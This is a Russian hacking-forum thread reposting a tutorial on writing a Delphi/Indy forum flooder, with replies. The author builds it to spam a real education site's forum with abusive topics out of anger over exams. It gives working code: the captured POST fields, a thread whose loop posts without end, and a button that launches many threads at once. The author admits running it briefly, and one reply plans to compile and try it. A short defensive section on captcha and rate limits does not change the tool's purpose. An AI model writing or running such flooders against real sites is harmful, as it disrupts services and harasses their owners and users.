Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование
http://ah.flybb.ru/

Пишем флудер
http://ah.flybb.ru/topic878.html
Страница 1 из 1

Автор:  BECHED [ 21-03, 16:25 ]
Заголовок сообщения:  Пишем флудер

Желание написать прогу, способную оставлять кучу сообщений, на форуме определенного сайта, назовем его http://****/, у меня родилась после того, как в моем классе (я учусь в 11 классе) учитель объявил, что в Оренбургской области впервые будет введена система, по которой мы будем сдавать 6 ЕГЭ. Все бы ничего, но объявили об этом в середине января! и главное, среди обязательных предметов стоит литература! Блин кто знает ответ на следующий вопрос:
Какое название Н.Г. Чернышевский дал художественному открытию Толстого, отобразившего «текучесть» внутренней жизни человека, ее изменчивость?
Ответ____________________________
Это есть в демонстрационном варианте ЕГЭ по литературе за 2008 год.

Ладно, хватит нюни распускать, пора к делу. Итак, наш флудер будет оставлять на сайте обидчика кучу сообщений, вроде министр образования - ***. А вернее будет создавать кучу тем с соответствующей надписью. Писать флудер будем на Delphi, не без помощи Indy, знаю WinSock круче, но почему Фленову можно писать почтовик с помощью компонентов, а мне флудер нельзя? (кто читал Delphi глазами ][акера, тот меня поймет).

Сейчас главное понять, что веб браузер передает на сервер при создании темы. А вернее что передается при Post запросе. Итак, топаем на сайт обидчика, заходим на форум и открываем страничку создания новой темы (http://*** /obr/forum/30/add/).
Так теперь наводим мышь на кнопку с текстом «Отправить», и видим, куда эта кнопка отправляет запрос: «/obr/forum/?action=forum_add_message&forum_id=30».

Теперь у нас два варианта развития событий.
1 вариант мы ставим HTTP снифер. Например, насадку на IE, тут тебе поможет гугл и собственный мозг.
2. Мне качать снифер было лень, да и светиться на форуме не хотелось =). По этому я сохранил страничку на винт, запустил Денвер, создал виртуальный хост и запихал страницу туда. Далее в той же папке что и сохраненная страничка был создан файлик
proba.php(зачем увидишь потом). Далее в опере открыл сорцы странички и запустил поиск следующей фразы: /obr/forum/?action=forum_add_message&forum_id=30- это путь к скрипу, который отвечает за создание темы и поменял его на /proba.php (так вот зачем этот загадочный файлик =) ). Так теперь в файлик proba.php я засунул такой код:


< ?
print_r($_POST);
? >


эта штука просто выводит на экран все, что пришло в POST запросе =). Потом открыл в опере только что созданную страницу, заполнил форму и увидел, что на сервер передается следующее:
mes_author_name=vovchik // указанный ник
mes_author_mail=*****@***.ru // указанный мыльник
user_login= // логин (можно не заполнять)
user_password= //пароль (можно не заполнять)
mes_subject=Егэ в топку // тема
mes_text= ***** // сообщение

в общем, все понятно осталось тока сделать тоже самое, но с помощью Delphi. Итак, мы создадим н-ое число потоков (в Delphi каждый поток это объект и это сильно нам поможет). Каждый поток будет «бомбить» наш сайт твоими сообщениями. Представьте, у меня с исходящим каналом в виде GPRS и числом потоков в 50 штук прога оставляла 2 сообщения в секунду! Хорошо, что я вовремя остановился! Так, теперь давайте посмотрим, как пашет это «чудо». Для этого бросьте на форму компонент TIdHTTP с вкладки Indy Clients. Нам это нужно чтобы знать, какие файлы будут подключены к нашему проекту. Так теперь создайте новый поток (File->New->Other->Thread Object). Теперь сохраните проект себе на винт (это ОБЯЗАТЕЛЬНЫЙ шаг). Так теперь видите в файле потока блок uses? скопируйте туда все, из такого же блока в файле, где описывается главная форма (вот зачем мы кидали ненужный компонент на форму). Так теперь посмотрите на описание класса вашего потока вы должны увидеть что-то похожее на:

type
TFluder = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;

поменяйте все на:
type
Fluder = class(TThread)
IdHTTP1: TIdHTTP;
IdCookieManager1: TIdCookieManager;
procedure IdHTTP1Redirect(Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
private
{ Private declarations }
protected
procedure Execute; override;
end;
(только не забудьте, что имя потока у вас может быть другим!)
далее жмем ctrl+Shift+C и получаем такую вот «заготовку» события Redirect она нам пригодится:
procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
begin
Handled:= TRUE;
end;

как ты понял, нам нужно будет в заготовку дописать тока одну строку:
Handled:= TRUE; это нужно что бы после того как мы получим редирект от сервера мы его правильно обработали =).

далее мы имеем процедуру procedure Fluder.Execute; это та процедура, с которой начнется выполнение нашего потока. Тут мы и будем «бомбить» сервер.… Но перед этим теория!

Итак, компонент TIdHTTP у нас лежит не на форме, а значит, не будет создан автоматически его придется создать «в ручную», так же как и обычный объект. Но толку от него будет мало, он ведь должен будет еще что-то передать, для этого у него есть два метода function Post(AURL: string; const ASource: TStrings): string;

и function TIdCustomHTTP.Get(AURL: string): string;
первый имеет два параметра, а второй тока один. Оба они возвратят то, что вернул нам сервер после запроса. Если у метода GET все понятно, там все данные передаются через единственный параметр, то у метода POST нужны пояснения, второй параметр нужен для передачи данных через POST запрос, и храниться они должны в объекте TStrings или его потомке (TStringList);. Думаю все понятно и пояснено, так что в бой мой друг. Теперь в процедуре Execute смело ставь такой код:
procedure Fluder.Execute;
var
txt: TStringList;
begin
IdHTTP1:= TIdHTTP.Create(NIL); //Это наш HTTP клиент
IdCookieManager1:= TIdCookieManager.Create(NIL); //Менеджер Куков иногда он нужен

txt:= TStringList.Create; //Тут будет POST запрос

while (Terminated = False) do // собсна главный цикл
begin
txt.add('mes_author_name='+NameStr); //Переменные
txt.Add('mes_author_mail='+MailStr);
txt.Add('user_login=');
txt.Add('user_password=');
txt.Add('mes_subject='+TemaStr);
txt.Add('mes_text='+TextStr);

// запрос
idHTTP1.Post('http://****/obr/forum/?action=forum_add_message&forum_id=30', txt);
end;
txt.Free;

exit;
end;

теперь мы почти готовы нам нужно только кинуть на форму кнопку и поставить к ней такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer; //счетчик
Cout: integer; //число потоков
begin

try
Cout:= StrToInt(Edit1.Text); //пытаемся узнать число потоков из Edit а
except
ShowMEssage(‘Вводи верно!');
exit;
end;

NameStr:= NickEdit.Text; // думаю ты понял что все переменные я беру из Edit’ов
MailStr:= MailEdit.Text;
TemaStr:= TemaEdit.Text;
TextStr:= MessEdit.Text;

SetLength(Potoks, Cout); //Меняю длину массива указателей

for i:= 0 to Cout-1 do //активирую флуд
begin
Potoks[i]:= Fluder.Create(true);
Potoks[i].Resume;
Potoks[i].Priority:= tpLower;
end;
end;

тут мы создаем энное количество потоков и хирячим ими сайт недруга!
Перед компиляцией добавь в глобальные переменные вот это:
var
Form1: TForm1;
Potoks: array of Fluder; //Массив указателей на потоки
NameStr, MailStr, TemaStr, TextStr: string; //Строки где хранятся переменные для //передачи на сервер я их беру из Edit’ов

думаю, ты сам во всем разберешься, если тока подумаешь, это конечно не идеальный метод и подойдет он только для определенного количества форумных движков, но и это уже здорово!
Мораль: помни флуд - это не гуманно! и не красиво этому стоит научиться, чтобы защищаться от этого! но не более того, я не в коем случае не хочу побуждать тебя к действию я лишь хочу указать на не совершенство некоторых сайтов.

Информация к размышлению: Итак, почему мне удалось написать флудер так быстро? Виноват в этом конечно администратор портала, то подобие на форум, что поставил админ, не имеет ни каких преград для таких флудерастов как я =). Право оставлять сообщения на форуме должны иметь только зарегистрированные пользователи! причем движок не должен принимать более 2-3 сообщений в минуту от одного и того же пользователя, человек физически не сможет написать больше сообщений! При регистрации пользователя должна быть капча, она конечно тоже не надежна, но это защитит от большинства таких «атак». В общем, не делайте таких ошибок.

Happy End: кст. нам все же отменили ЕГЭ по литре теперь мы будем сдавать ее в традиционной форме, и хорошо что я не успел применить флудер по назначению!(разве что совсем чуть-чуть =)).
Пару слов модератору:
Я заранее извиняюсь за свой Русский язык, я выше тройки по нему никогда не имел, и все контрольные нагло списывал у одноклассниц, так что извиняюсь...

alexsandrch-ch

Автор:  Геннадий [ 10-12, 20:30 ]
Заголовок сообщения: 

Рулишь чел

Автор:  BECHED [ 10-12, 20:32 ]
Заголовок сообщения: 

Геннадий
Вообще-то внизу стоят копирайты - это не моя статья)

Автор:  Trier1989 [ 25-12, 22:45 ]
Заголовок сообщения: 

:mrgreen: будем пробовать статейка заинтересовала... хз актуальна или нет, домой приду буду компилить :) еси че потом отпишуся)

Автор:  agressor55555 [ 25-01, 22:11 ]
Заголовок сообщения: 

вируси - это зло!

Страница 1 из 1 Часовой пояс: UTC + 3 часа
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/